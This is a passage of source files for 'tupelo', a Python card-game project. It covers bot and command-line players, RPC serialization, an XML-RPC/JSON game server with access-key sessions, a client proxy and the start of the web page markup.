                  card = choices.get_highest()\n                            else:\n                                pass\n\n        elif state.mode == RAMI:\n            if len(choices) == 0:\n                # should be \"worst score\" or \"least value\"\n                card = self.hand.get_lowest()\n            else:\n                # real dumb\n                card = choices.get_highest()\n                if len(state.table) > 0:\n                    high = state.table.get_cards(suit=state.table[0].suit).get_highest()\n                    high_played_by = self.controller.get_player(high.played_by)\n                    if high_played_by.team == self.team:\n                        # we may be getting this trick...\n                        card = choices.get_lowest()\n                    else:\n                        if len(state.table) == 3:\n                            # i'm the last to play\n                            # take it as cheap as possible, if possible\n                            candidate = choices.get_lowest(floor=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else:\n                                card = choices.get_lowest()\n                        else:\n                            # i'm second or third\n                            candidate = choices.get_highest(floor=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else:\n                                # but I cannot take it...\n                                card = choices.get_lowest()\n\n        try:\n            #print '%s playing %s' % (self, card)\n            self.controller.play_card(self, card)\n        except RuleError as error:\n            print('Oops', error)\n            raise\n\n\nclass CountingBotPlayer(DummyBotPlayer):\n    \"\"\"\n    Robot player that counts played cards.\n    \"\"\"\n\n    def __init__(self, name):\n        super().__init__(name)\n        self.cards_left = CardSet()\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        self.cards_left = CardSet.new_full_deck() - self.hand\n        super(CountingBotPlayer, self).vote()\n\n    def card_played(self, player: Player, card: Card, game_state: GameState):\n        \"\"\"\n        Signal that a card has been played by the given player.\n        \"\"\"\n        if player == self:\n            return\n\n        if game_state.status == GameState.VOTING:\n            pass\n        elif game_state.status == GameState.ONGOING:\n            #print \"removing %s  from %s\" %(card, self.cards_left)\n            try:\n                self.cards_left.remove(card)\n            except ValueError:\n                print(\"Oops: removing card %s failed\" % card)\n                # TODO: we sometimes get this with CountingBotPlayer\n\n\nclass CliPlayer(ThreadedPlayer):\n    \"\"\"\n    Command line interface human player.\n    \"\"\"\n\n    def echo(self, message: str = \"\", end=\"\\n\"):\n        \"\"\"Print a message for the user.\"\"\"\n        print(message, end=end)\n\n    def _pick_card(self, prompt='Pick a card'):\n        \"\"\"\n        Pick one card from the player's hand.\n        \"\"\"\n        self.echo(\"Your hand:\")\n        self.echo('  '.join('%3s' % (card) for card in self.hand))\n        for i in range(0, len(self.hand)):\n            self.echo('%3d ' % (i + 1), end=' ')\n        self.echo()\n\n        card_ok = False\n        card = None\n        while not card_ok:\n            try:\n                uinput = input('%s (1-%d) --> ' % (prompt, len(self.hand)))\n                try:\n                    index = int(uinput) - 1\n                    if index < 0:\n                        raise IndexError()\n                    card = self.hand[index]\n                    card_ok = True\n                except (IndexError, ValueError):\n                    self.echo(\"Invalid choice `%s'\" % uinput)\n            except EOFError:\n                #error.message = 'EOF received from command line'\n                #error.args = error.message,\n                #raise error\n                raise EOFError('EOF received from command line')\n\n        return card\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        self.echo('Voting')\n        card_played = False\n        while not card_played:\n            try:\n                card = self._pick_card()\n                self.echo('Voting with %s' % (card))\n                self.controller.play_card(self, card)\n                card_played = True\n            except RuleError as error:\n                self.echo('Oops: %s' % error)\n            except EOFError:\n                raise UserQuit('EOF from command line')\n\n    def play_card(self):\n        \"\"\"\n        Play one card.\n        \"\"\"\n        state = self.game_state\n\n        # print table\n        if state.mode == NOLO:\n            self.echo('Playing nolo')\n        elif state.mode == RAMI:\n            self.echo('Playing rami')\n        else:\n            self.echo('Unknown mode %d' % state.mode)\n\n        self.echo('Table:')\n        for card in state.table:\n            try:\n                plr = '%s: ' % self.controller.get_player(card.played_by).player_name\n            except:\n                # showing the (random) player ID is not very intuitive\n                plr = ''\n            self.echo('%s%s' % (plr, card))\n\n        card_played = False\n        while not card_played:\n            try:\n                card = self._pick_card('Card to play')\n                self.echo('Playing %s' % (card))\n                self.controller.play_card(self, card)\n                card_played = True\n            except RuleError as error:\n                self.echo('Oops: %s' % error)\n            except EOFError:\n                raise UserQuit('EOF from command line')\n\n    def card_played(self, player: Player, card: Card, game_state: GameState):\n        \"\"\"\n        Event handler for a played card.\n        \"\"\"\n        if player.id == self.id:\n            player_str = 'You'\n        else:\n            player_str = '%s' % player\n\n        if game_state.status == GameState.VOTING:\n            self.echo('%s voted %s' % (player_str, card))\n        else:\n            self.echo('%s played %s' % (player_str, card))\n\n    def send_message(self, sender: str, msg: str):\n        \"\"\"\n        Send a message to this player.\n        \"\"\"\n        if sender is not None:\n            self.echo('%s: %s' % (sender, msg))\n        else:\n            self.echo('%s' % msg)\n\n", "tupelo/rpc.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nfrom typing import Union\n\ndef rpc_encode(obj):\n    \"\"\"\n    Encode an object into RPC-safe form.\n    \"\"\"\n    try:\n        return obj.rpc_encode()\n    except AttributeError:\n        return obj\n\ndef rpc_decode(cls, rpcobj):\n    \"\"\"\n    Decode an RPC-form object into an instance of cls.\n    \"\"\"\n    try:\n        return cls.rpc_decode(rpcobj)\n    except AttributeError:\n        return rpcobj\n\ndef _memoize(func, cache={}):\n    def decf(*args, **kwargs):\n        key = (func, tuple(args), frozenset(list(kwargs.items())))\n        if key not in cache:\n            cache[key] = func(*args, **kwargs)\n        return cache[key]\n    return decf\n\ndef _itersubclasses(cls, _seen=None):\n    \"\"\"\n    itersubclasses(cls)\n\n    Generator over all subclasses of a given class, in depth first order.\n    \"\"\"\n    if not isinstance(cls, type):\n        raise TypeError('itersubclasses must be called with '\n                        'new-style classes, not %.100r' % cls)\n    if _seen is None:\n        _seen = set()\n    try:\n        subs = cls.__subclasses__()\n    except TypeError: # fails only when cls is type\n        subs = cls.__subclasses__(cls)\n    for sub in subs:\n        if sub not in _seen:\n            _seen.add(sub)\n            yield sub\n            for subsub in _itersubclasses(sub, _seen):\n                yield subsub\n\nclass RPCSerializable():\n    \"\"\"\n    Base class for objects that are serializable into\n    an RPC-safe form.\n    \"\"\"\n    rpc_attrs = None\n    rpc_type = None\n\n    def __eq__(self, other):\n        if not self.rpc_attrs:\n            return super().__eq__(other)\n\n        if self.rpc_type:\n            try:\n                if self.rpc_type != other.rpc_type:\n                    return False\n            except AttributeError:\n                return False\n\n        for attr, _ in self.iter_rpc_attrs():\n            try:\n                if getattr(self, attr) != getattr(other, attr):\n                    return False\n            except AttributeError:\n                return False\n\n        return True\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    @classmethod\n    def iter_rpc_attrs(cls):\n        \"\"\"\n        Generator for iterating rpc_attrs with attr and type separated.\n        \"\"\"\n        if not cls.rpc_attrs:\n            return\n\n        iterator = iter(cls.rpc_attrs or tuple())\n        while 1:\n            try:\n                data = next(iterator).split(':')\n            except StopIteration:\n                return\n\n            if len(data) == 1:\n                data.append(None)\n            yield (data[0], data[1])\n\n    def rpc_encode(self) -> Union[dict, 'RPCSerializable']:\n        \"\"\"\n        Encode an instance of RPCSerializable into an rpc object.\n        \"\"\"\n        if self.rpc_attrs:\n            rpcobj = {}\n            for attr, _ in self.iter_rpc_attrs():\n                rpcform = None\n                try:\n                    rpcform = rpc_encode(getattr(self, attr))\n                except AttributeError:\n                    pass\n\n                if rpcform is not None:\n                    rpcobj[attr] = rpcform\n\n            return rpcobj\n        # default behaviour\n        return self\n\n    @classmethod\n    def rpc_decode_simple(cls, rpcobj):\n        \"\"\"\n        Default decode method.\n        \"\"\"\n        if cls.rpc_attrs:\n            instance = cls()\n            for attr, atype in cls.iter_rpc_attrs():\n                instance.rpc_decode_attr(rpcobj, attr, atype)\n\n            return instance\n        else:\n            return rpcobj\n\n    @classmethod\n    def rpc_decode(cls, rpcobj) -> 'RPCSerializable':\n        \"\"\"\n        Decode an rpc object into an instance of cls.\n        \"\"\"\n        return cls.rpc_decode_simple(rpcobj)\n\n    def rpc_decode_attr(self, rpcobj: dict, attr: str, atype=None):\n        \"\"\"\n        Decode one attribute.\n        \"\"\"\n        if attr in rpcobj:\n            attr_cls = self.get_class_for_type(atype)\n            if attr_cls:\n                setattr(self, attr,\n                        rpc_decode(attr_cls, rpcobj[attr]))\n            else:\n                setattr(self, attr, rpcobj[attr])\n\n    @classmethod\n    @_memoize\n    def get_class_for_type(cls, atype):\n        if atype is None:\n            return None\n\n        # try first if some class has a overridden type\n        for sub in _itersubclasses(RPCSerializable):\n            if sub.rpc_type == atype:\n                return sub\n        # then try with class name\n        for sub in _itersubclasses(RPCSerializable):\n            if sub.__name__ == atype:\n                return sub\n\n        return None\n\n", "tupelo/server/__init__.py": "\nfrom .server import *", "tupelo/server/jsonapi.py": "from typing import Optional\nimport json\nimport http.cookies\nimport urllib.parse\ntry:\n    from urllib.parse import parse_qs\nexcept:\n    from cgi import parse_qs\nfrom tupelo.common import ProtocolError\n\n\nclass TupeloJSONDispatcher():\n    \"\"\"\n    Simple JSON dispatcher mixin that calls the methods of \"instance\" member.\n    \"\"\"\n\n    json_path_prefix = '/api/'\n\n    def __init__(self):\n        self.instance = None\n\n    def _json_parse_headers(self, headers) -> dict:\n        \"\"\"\n        Parse the HTTP headers and extract any params from them.\n        \"\"\"\n        params = {}\n        # we support just 'akey' cookie\n        cookie = http.cookies.SimpleCookie(headers.get('Cookie'))\n        if 'akey' in cookie:\n            params['akey'] = cookie['akey'].value\n\n        return params\n\n    def path2method(self, path: str) -> Optional[str]:\n        \"\"\"\n        Convert a request path to a method name.\n        \"\"\"\n        if self.json_path_prefix:\n            if path.startswith(self.json_path_prefix):\n                return path[len(self.json_path_prefix):].replace('/', '_')\n            return None\n        else:\n            return path.lstrip('/').replace('/', '_')\n\n    def _json_parse_qstring(self, qstring: str):\n        \"\"\"\n        Parse a query string into method and parameters.\n\n        Return a tuple of (method_name, params).\n        \"\"\"\n        parsed = urllib.parse.urlparse(qstring)\n        path = parsed[2]\n        params = parse_qs(parsed[4])\n        # use only the first value of any given parameter\n        for k, v in list(params.items()):\n            # try to decode a json parameter\n            # if it fails, fall back to plain string\n            try:\n                params[k] = json.loads(v[0])\n            except:\n                params[k] = v[0]\n\n        return (self.path2method(path), params)\n\n    def register_instance(self, instance):\n        \"\"\"\n        Register the target object instance.\n        \"\"\"\n        self.instance = instance\n\n    def json_dispatch(self, qstring: str, headers, body=None) -> str:\n        \"\"\"\n        Dispatch a JSON method call to the interface instance.\n        \"\"\"\n        method, qs_params = self._json_parse_qstring(qstring)\n        if not method:\n            raise ProtocolError('No such method')\n        # alternatively, take params from body\n        if not qs_params and body:\n            (_, qs_params) = self._json_parse_qstring('?' + body.decode())\n\n        # the querystring params override header params\n        params = self._json_parse_headers(headers)\n        params.update(qs_params)\n\n        return json.dumps(self.instance._json_dispatch(method, params))\n", "tupelo/server/server.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport copy\nimport logging\nimport queue\nimport xmlrpc.server\nimport inspect\nimport json\n\nfrom .xmlrpc import error2fault\nfrom tupelo.rpc import rpc_encode, rpc_decode\nfrom tupelo.common import Card, GameError, RuleError, ProtocolError, traced, short_uuid, simple_decorator, GameState\nfrom tupelo.game import GameController\nfrom tupelo.events import EventList, CardPlayedEvent, MessageEvent, TrickPlayedEvent, TurnEvent, StateChangedEvent\nfrom tupelo.players import Player, DummyBotPlayer\nfrom .jsonapi import TupeloJSONDispatcher\n\nDEFAULT_PORT = 8052\n\nVERSION_MAJOR = 0\nVERSION_MINOR = 1\nVERSION_STRING = \"%d.%d\" % (VERSION_MAJOR, VERSION_MINOR)\n\nlogger = logging.getLogger(__name__)\n\n@simple_decorator\ndef authenticated(fn):\n    \"\"\"\n    Method decorator to verify that the client sent a valid authentication\n    key.\n    \"\"\"\n    def wrapper(self, akey, *args, **kwargs):\n        self._ensure_auth(akey)\n        try:\n            retval = fn(self, *args, **kwargs)\n        finally:\n            self._clear_auth()\n\n        return retval\n\n    # copy argspec from wrapped function\n    wrapper.argspec = inspect.getfullargspec(fn)\n    # and add our extra arg\n    wrapper.argspec.args.insert(0, 'akey')\n    return wrapper\n\ndef _game_get_rpc_info(game):\n    \"\"\"\n    Get RPC info for a GameController instance.\n    TODO: does not belong here.\n    \"\"\"\n    return [rpc_encode(player) for player in game.players]\n\n\n\nclass TupeloRequestHandler(xmlrpc.server.SimpleXMLRPCRequestHandler):\n    \"\"\"\n    Custom request handler class to support ajax/json API and XML-RPC, depending on the request path.\n    \"\"\"\n\n    rpc_paths = ('/RPC2',)\n    json_paths = (TupeloJSONDispatcher.json_path_prefix,) # /api\n\n    @traced\n    def do_GET(self):\n        for path in self.json_paths:\n            if self.path.startswith(path):\n                return self.handle_json_request()\n\n        # XML-RPC supports only POST\n        self.report_404()\n\n    @traced\n    def do_POST(self):\n        for path in self.json_paths:\n            if self.path.startswith(path):\n                return self.handle_json_request(self.get_body())\n\n        return super().do_POST()\n\n    def get_body(self):\n        try:\n            # We read the body in chunks to avoid straining\n            # socket.read(); around the 10 or 15Mb mark, some platforms\n            # begin to have problems (bug #792570).\n            max_chunk_size = 10*1024*1024\n            size_remaining = int(self.headers[\"content-length\"])\n            L = []\n            while size_remaining:\n                chunk_size = min(size_remaining, max_chunk_size)\n                chunk = self.rfile.read(chunk_size)\n                if not chunk:\n                    break\n                L.append(chunk)\n                size_remaining -= len(L[-1])\n            data = b''.join(L)\n\n            data = self.decode_request_content(data)\n            return data\n\n        except Exception as e: # This should only happen if the module is buggy\n            # internal error, report as HTTP server error\n            self.send_response(500)\n\n    @traced\n    def handle_json_request(self, body=None):\n        try:\n            response = self.server.json_dispatch(self.path, self.headers, body=body).encode()\n        except ProtocolError as err:\n            self.report_404()\n            return\n        except (GameError, RuleError) as err:\n            logger.exception(err)\n            self.send_response(403) # forbidden\n            response_obj = {'code': err.rpc_code,\n                'message': str(err)}\n            response = json.dumps(response_obj).encode()\n            self.send_header(\"Content-type\", \"application/json\")\n            self.send_header(\"Content-length\", str(len(response)))\n            self.send_header(\"X-Error-Code\", str(err.rpc_code))\n            self.send_header(\"X-Error-Message\", str(err))\n            self.end_headers()\n\n            self.wfile.write(response)\n            # shut down the connection\n            self.wfile.flush()\n            self.connection.shutdown(1)\n        except Exception as err:\n            logger.exception(err)\n            self.send_response(500)\n            self.end_headers()\n        else:\n            self.send_response(200)\n            self.send_header(\"Content-type\", \"application/json\")\n            self.send_header(\"Content-length\", str(len(response)))\n            self.send_header(\"Cache-Control\", \"no-cache\")\n            self.send_header(\"Pragma\", \"no-cache\")\n\n            self.end_headers()\n            self.wfile.write(response)\n\n            # shut down the connection\n            self.wfile.flush()\n            self.connection.shutdown(1)\n\nclass TupeloServer(xmlrpc.server.SimpleXMLRPCServer, TupeloJSONDispatcher):\n    \"\"\"\n    Custom server class that combines XML-RPC and JSON servers.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        nargs = (args[0:1] or (None,)) +  (TupeloRequestHandler,) +  args[2:]\n        xmlrpc.server.SimpleXMLRPCServer.__init__(self, *nargs, **kwargs)\n        TupeloJSONDispatcher.__init__(self)\n        rpciface = TupeloRPCInterface()\n        self.register_instance(rpciface)\n\n    def shutdown_games(self):\n        \"\"\"\n        Shut down all the games running on this instance.\n        \"\"\"\n        for game in self.instance.games:\n            game.shutdown()\n\n\nclass TupeloRPCInterface():\n    \"\"\"\n    The RPC interface for the tupelo server.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self.players = []\n        self.games = []\n        self.methods = self._get_methods()\n        self.authenticated_player = None\n\n    def _get_methods(self):\n        \"\"\"\n        Get a list of RPC methods that this object supports.\n\n        Return a dict of method_name => [argument names]\n        \"\"\"\n        method_names = [f for f in dir(self) if not f.startswith('_')]\n        methods = dict()\n        for mname in method_names:\n            func = getattr(self, mname)\n            if callable(func):\n                # check if it is a decorated method\n                if hasattr(func, 'argspec'):\n                    methods[mname] = func.argspec[0]\n                else:\n                    methods[mname] = inspect.getfullargspec(func)[0]\n\n                # remove 'self' from signature\n                if 'self' in methods[mname]:\n                    methods[mname].remove('self')\n\n        return methods\n\n    def _get_player(self, player_id: int):\n        \"\"\"\n        Get player by id.\n        \"\"\"\n        for plr in self.players:\n            if plr.id == player_id:\n                return plr\n\n        raise GameError('Player (ID %s) does not exist' % player_id)\n\n    def _register_player(self, player: 'RPCProxyPlayer'):\n        \"\"\"\n        Register a new player to the server (internal function).\n        \"\"\"\n        # generate a (public) ID and (private) access token\n        player.id = short_uuid()\n        player.akey = short_uuid()\n        self.players.append(player)\n        return player.rpc_encode(private=True)\n\n    def _ensure_auth(self, akey: str):\n        \"\"\"\n        Check the given authentication (session) key and set self.authenticated_player.\n\n        Raises GameError if akey is not valid.\n        \"\"\"\n        for plr in self.players:\n            if plr.akey == akey:\n                self.authenticated_player = plr\n                return self.authenticated_player\n\n        raise GameError(\"Invalid authentication key\")\n\n    def _clear_auth(self):\n        \"\"\"\n        Clear info about the authenticated player.\n        \"\"\"\n        self.authenticated_player = None\n\n    def _get_game(self, game_id: str):\n        \"\"\"\n        Get game by id or raise an error.\n        \"\"\"\n        for game in self.games:\n            if game.id == game_id:\n                return game\n\n        raise GameError('Game %s does not exist' % game_id)\n\n    def echo(self, test):\n        return test\n\n    @error2fault\n    def _dispatch(self, method, params):\n        \"\"\"\n        Dispatch an XML-RPC call.\n        \"\"\"\n        realname = method.replace('.', '_')\n        if realname in list(self.methods.keys()):\n            func = getattr(self, realname)\n            return func(*params)\n\n        raise ProtocolError('Method \"%s\" is not supported' % method)\n\n    def _json_dispatch(self, method, kwparams):\n        \"\"\"\n        Dispatch a json method call to method with kwparams.\n        \"\"\"\n        if method in list(self.methods.keys()):\n            func = getattr(self, method)\n            # strip out invalid params\n            for k in list(kwparams.keys()):\n                if k not in self.methods[method]:\n                    del kwparams[k]\n            try:\n                return func(**kwparams)\n            except TypeError as err:\n                raise ProtocolError(str(err))\n\n        raise ProtocolError('Method \"%s\" is not supported' % method)\n\n    ### PUBLIC METHODS\n\n    def hello(self, akey=None):\n        \"\"\"\n        Client says hello.\n\n        Return a dict with server version and player/game info if the akey\n        was valid.\n        \"\"\"\n        response = {'version': VERSION_STRING}\n        try:\n            self._ensure_auth(akey)\n        except:\n            pass\n\n        # is the akey valid?\n        if self.authenticated_player is not None:\n            plr = self.authenticated_player\n            response['player'] = plr.rpc_encode(private=True)\n            if plr.game:\n                response['game'] = _game_get_rpc_info(plr.game)\n\n        self._clear_auth()\n        return response\n\n    def player_register(self, player):\n        \"\"\"\n        Register a new player to the server.\n\n        Return the player id.\n        \"\"\"\n        player_obj = RPCProxyPlayer.rpc_decode(player)\n        return self._register_player(player_obj)\n\n    @authenticated\n    def player_quit(self):\n        \"\"\"\n        Player quits.\n        \"\"\"\n        player = self.authenticated_player\n        game = player.game\n        # leave the game. Does not necessarily end the game.\n        if game:\n            try:\n                self.game_leave(self.authenticated_player.akey, game.id)\n            except GameError:\n                pass\n\n        self.players.remove(player)\n        # without allow_none, XML-RPC methods must always return something\n        return True\n\n    @authenticated\n    def player_list(self):\n        \"\"\"\n        List all players on server.\n        \"\"\"\n        return [rpc_encode(player) for player in self.players]\n\n    def game_list(self, status=None):\n        \"\"\"\n        List all games on server that are in the given state.\n        \"\"\"\n        response = {}\n        if status is not None:\n            status = int(status)\n\n        # TODO: add game state, joinable yes/no, password?\n        for game in self.games:\n            if status is None or game.state.status == status:\n                response[str(game.id)] = _game_get_rpc_info(game)\n\n        return response\n\n    @authenticated\n    def game_create(self):\n        \"\"\"\n        Create a new game and enter it.\n\n        Return the game id.\n        \"\"\"\n        game = GameController()\n        # TODO: slight chance of race\n        self.games.append(game)\n        game.id = short_uuid()\n        try:\n            self.game_enter(self.authenticated_player.akey, game.id)\n        except GameError:\n            self.games.remove(game)\n            raise\n\n        return game.id\n\n    @authenticated\n    def game_enter(self, game_id: str):\n        \"\"\"\n        Register a new player to the game.\n\n        Return game ID\n        \"\"\"\n        game = self._get_game(game_id)\n        player = self.authenticated_player\n        if player.game:\n            raise GameError(\"Player is already in a game\")\n\n        game.register_player(player)\n        player.game = game\n        return game_id\n\n    @authenticated\n    def game_leave(self, game_id: str):\n        \"\"\"\n        Leave the game. Does not necessarily end the game.\n        \"\"\"\n        game = self._get_game(game_id)\n        player = self.authenticated_player\n        game.player_leave(player.id)\n        player.game = None\n        # if the game was terminated we need to kill the old game instance\n        if len(game.players) == 0:\n            self.games.remove(game)\n\n        return True\n\n    @authenticated\n    def game_get_state(self, game_id: str):\n        \"\"\"\n        Get the state of a game for given player.\n        \"\"\"\n        game = self._get_game(game_id)\n        response = {}\n        response['game_state'] = rpc_encode(game.state)\n        response['hand'] = rpc_encode(self.authenticated_player.hand)\n        return response\n\n    def game_get_info(self, game_id: str):\n        \"\"\"\n        Get the (static) information of a game.\n        \"\"\"\n        game = self._get_game(game_id)\n        return _game_get_rpc_info(game)\n\n    @authenticated\n    def get_events(self):\n        \"\"\"\n        Get the list of new events for given player.\n        \"\"\"\n        return rpc_encode(self.authenticated_player.pop_events())\n\n    @authenticated\n    def game_start(self, game_id: str):\n        \"\"\"\n        Start a game.\n        \"\"\"\n        game = self._get_game(game_id)\n        game.start_game()\n        return True\n\n    @authenticated\n    def game_start_with_bots(self, game_id: str):\n        \"\"\"\n        Start a game with bots.\n        \"\"\"\n        game = self._get_game(game_id)\n        i = 1\n        while len(game.players) < 4:\n            # register bots only to game so that we don't need to unregister them\n            game.register_player(DummyBotPlayer('Robotti %d' % i))\n            i += 1\n\n        return self.game_start(self.authenticated_player.akey, game_id)\n\n    @authenticated\n    def game_play_card(self, game_id: str, card):\n        \"\"\"\n        Play one card in given game, by given player.\n        \"\"\"\n        game = self._get_game(game_id)\n        player = self.authenticated_player\n        game.play_card(player, rpc_decode(Card, card))\n        return True\n\n\nclass RPCProxyPlayer(Player):\n    \"\"\"\n    Server-side class for remote/RPC players.\n    \"\"\"\n    def __init__(self, name):\n        super().__init__(name)\n        self.events = queue.Queue()\n        self.game = None\n        self.akey = None\n\n    def rpc_encode(self, private=False) -> dict:\n        rpcobj = Player.rpc_encode(self)\n        # don't encode the game object, just the ID\n        if self.game:\n            rpcobj['game_id'] = rpc_encode(self.game.id)\n\n        if private:\n            if self.akey:\n                rpcobj['akey'] = self.akey\n\n        return rpcobj\n\n    def vote(self):\n        self.play_card()\n\n    def play_card(self):\n        self.send_event(TurnEvent(copy.deepcopy(self.game_state)))\n\n    def card_played(self, player, card, game_state):\n        self.send_event(CardPlayedEvent(player, card, copy.deepcopy(game_state)))\n\n    def trick_played(self, player, game_state):\n        self.send_event(TrickPlayedEvent(player, copy.deepcopy(game_state)))\n\n    def state_changed(self, game_state):\n        self.send_event(StateChangedEvent(copy.deepcopy(game_state)))\n\n    def send_message(self, sender, msg):\n        self.send_event(MessageEvent(sender, msg))\n\n    def send_event(self, event):\n        self.events.put(event)\n\n    def pop_events(self):\n        eventlist = EventList()\n        try:\n            while True:\n                eventlist.append(self.events.get_nowait())\n        except queue.Empty:\n            pass\n\n        return eventlist\n\n    def act(self, controller, game_state: GameState):\n        self.controller = controller\n        self.game_state.update(game_state)\n        if self.game_state.status == GameState.STOPPED:\n            return\n        elif self.game_state.status == GameState.VOTING:\n            self.vote()\n        elif self.game_state.status == GameState.ONGOING:\n            self.play_card()\n        else:\n            logger.warning(\"Warning: unknown status %d\", self.game_state.status)\n\n", "tupelo/server/xmlrpc.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport time\nimport xmlrpc.client\nfrom tupelo import players\nfrom tupelo import rpc\nfrom tupelo.common import GameState, CardSet, GameError, RuleError, ProtocolError, simple_decorator\nfrom tupelo.events import EventList, CardPlayedEvent, MessageEvent, TrickPlayedEvent, TurnEvent, StateChangedEvent\n\n@simple_decorator\ndef error2fault(func):\n    \"\"\"\n    Catch known exceptions and translate them to \n    XML-RPC faults.\n    \"\"\"\n    def catcher(*args):\n        try:\n            return func(*args)\n        except GameError as error:\n            raise xmlrpc.client.Fault(GameError.rpc_code, str(error))\n        except RuleError as error:\n            raise xmlrpc.client.Fault(RuleError.rpc_code, str(error))\n        except ProtocolError as error:\n            raise xmlrpc.client.Fault(ProtocolError.rpc_code, str(error))\n    return catcher\n\n@simple_decorator\ndef fault2error(func):\n    \"\"\"\n    Catch known XML-RPC faults and translate them to \n    custom exceptions.\n    \"\"\"\n    def catcher(*args):\n        try:\n            return func(*args)\n        except xmlrpc.client.Fault as error:\n            error_classes = (GameError, RuleError, ProtocolError)\n            for klass in error_classes:\n                if error.faultCode == klass.rpc_code:\n                    raise klass(error.faultString)\n\n            raise error\n\n    return catcher\n\n\nclass XMLRPCCliPlayer(players.CliPlayer):\n    \"\"\"\n    XML-RPC command line interface human player.\n    \"\"\"\n    def __init__(self, player_name):\n        players.CliPlayer.__init__(self, player_name)\n        self.game_state = GameState()\n        self.hand = None\n\n    def handle_event(self, event):\n        if isinstance(event, CardPlayedEvent):\n            self.card_played(event.player, event.card, event.game_state)\n        elif isinstance(event, MessageEvent):\n            self.send_message(event.sender, event.message)\n        elif isinstance(event, TrickPlayedEvent):\n            self.trick_played(event.player, event.game_state)\n        elif isinstance(event, TurnEvent):\n            self.game_state.update(event.game_state)\n            state = self.controller.get_state(self.id)\n            self.hand = state['hand']\n            self.game_state.update(state['game_state'])\n        elif isinstance(event, StateChangedEvent):\n            self.game_state.update(event.game_state)\n        else:\n            print(\"unknown event: %s\" % event)\n\n    def wait_for_turn(self):\n        \"\"\"\n        Wait for this player's turn.\n        \"\"\"\n        while True:\n\n            time.sleep(0.5)\n\n            if self.controller is not None:\n                events = self.controller.get_events(self.id)\n                for event in events:\n                    self.handle_event(event)\n\n            if self.game_state.turn_id == self.id:\n                break\n\n\nclass XMLRPCProxyController():\n    \"\"\"\n    Client-side proxy object for the server/GameController.\n    \"\"\"\n    def __init__(self, server_uri):\n        super(XMLRPCProxyController, self).__init__()\n        if not server_uri.startswith('http://') and \\\n            not server_uri.startswith('https://'):\n            server_uri = 'http://' + server_uri\n\n        self.server = xmlrpc.client.ServerProxy(server_uri)\n        self.game_id = None\n        self.akey = None\n\n    @fault2error\n    def play_card(self, _player, card):\n        self.server.game.play_card(self.akey, self.game_id, rpc.rpc_encode(card))\n\n    @fault2error\n    def get_events(self, _player_id):\n        return rpc.rpc_decode(EventList, self.server.get_events(self.akey))\n\n    @fault2error\n    def get_state(self, _player_id):\n        state = self.server.game.get_state(self.akey, self.game_id)\n        state['game_state'] = rpc.rpc_decode(GameState, state['game_state'])\n        state['hand'] = rpc.rpc_decode(CardSet, state['hand'])\n        return state\n\n    @fault2error\n    def player_quit(self, _player_id):\n        self.server.player.quit(self.akey)\n\n    @fault2error\n    def register_player(self, player):\n        player.controller = self\n        plr_data = self.server.player.register(rpc.rpc_encode(player))\n        player.id = plr_data['id']\n        self.akey = plr_data['akey']\n\n    @fault2error\n    def start_game_with_bots(self):\n        return self.server.game.start_with_bots(self.akey, self.game_id)\n\n    @fault2error\n    def create_game(self):\n        self.game_id = self.server.game.create(self.akey)\n        return self.game_id\n\n", "www/index.html": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\" />\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=8\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"tupelo.css\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"buttons.css\" /> \n<script type=\"text/javascript\" src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js\"></script>\n<script src=\"https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js\"></script>\n<script type=\"text/javascript\" src=\"tupelo.js\"></script>\n<script type=\"text/javascript\" src=\"tupelo-main.js\"></script>\n<title>Tupelo</title>\n</head>\n<body>\n<div id=\"debug\"></div>\n<div id=\"header\">\n<span class=\"h1\">tupelo</span>\n<div id=\"user_data\">\n<div id=\"register_form\">\n<p>\n<input id=\"register_name\" type=\"text\"/>\n<button id=\"register_btn\" class=\"btn\"><span><span>sign on</span></span></button>\n</p>\n</div>\n<div id=\"quit_form\">\n<p>\nSigned on as <span class=\"my_name\"></span> <button id=\"quit_btn\" class=\"btn\"><span><span>sign off</span></span></button>\n</p>\n</div>\n</div>\n</div>\n<div id=\"main_content\">\n<div id=\"games\" class=\"listbox\">\n<h3 class=\"box_heading\">list of games</h3>\n<div id=\"game_list\">\n<table>\n<tbody>\n</tbody>\n</table>\n</div>\n<div id=\"game_create_form\">\n<button id=\"game_create_btn\" class=\"btn\"><span><span>create game</span></span></button>\n</div>\n</div>\n<div id=\"players\" class=\"listbox\">\n<h3 class=\"box_heading\">players online</h3>\n<div id=\"player_list\">\n<table>\n<tbody>\n</tbody>\n</table>\n</div>\n</div>\n<div id=\"my_game\">\n<p id=\"joined_game\"></p>\n<button class=\"game_leave_btn btn\"><span><span>leave</span></span></button>\n<button id=\"game_start\" class=\"btn\"><span><span>start</span></span></button>\n<button id=\"game_start_with_bots\" class=\"btn\"><span><span>start with bots</span></span></button>\n</div>\n<div id=\"game\">\n<div id=\"game_status_area\"><span id=\"game_status\"></span><span id=\"game_leave_form\"><button class=\"game_leave_btn btn\"><span><span>leave game</span></span></button></span></div>\n<div id=\"game_area\">\n<table>\n<tbody>\n<tr><td/><td id=\"table_2\"><div class=\"player_data\"><div class=\"player_name\"></div><div class=\"table\"></div></div></td><td/></tr>\n<tr><td id=\"table_1\"><span class=\"player_data\"><span class=\"player_name\"></span><span class=\"table\"></span></span></td><td/><td id=\"table_3\"><span class=\"player_data\"><span 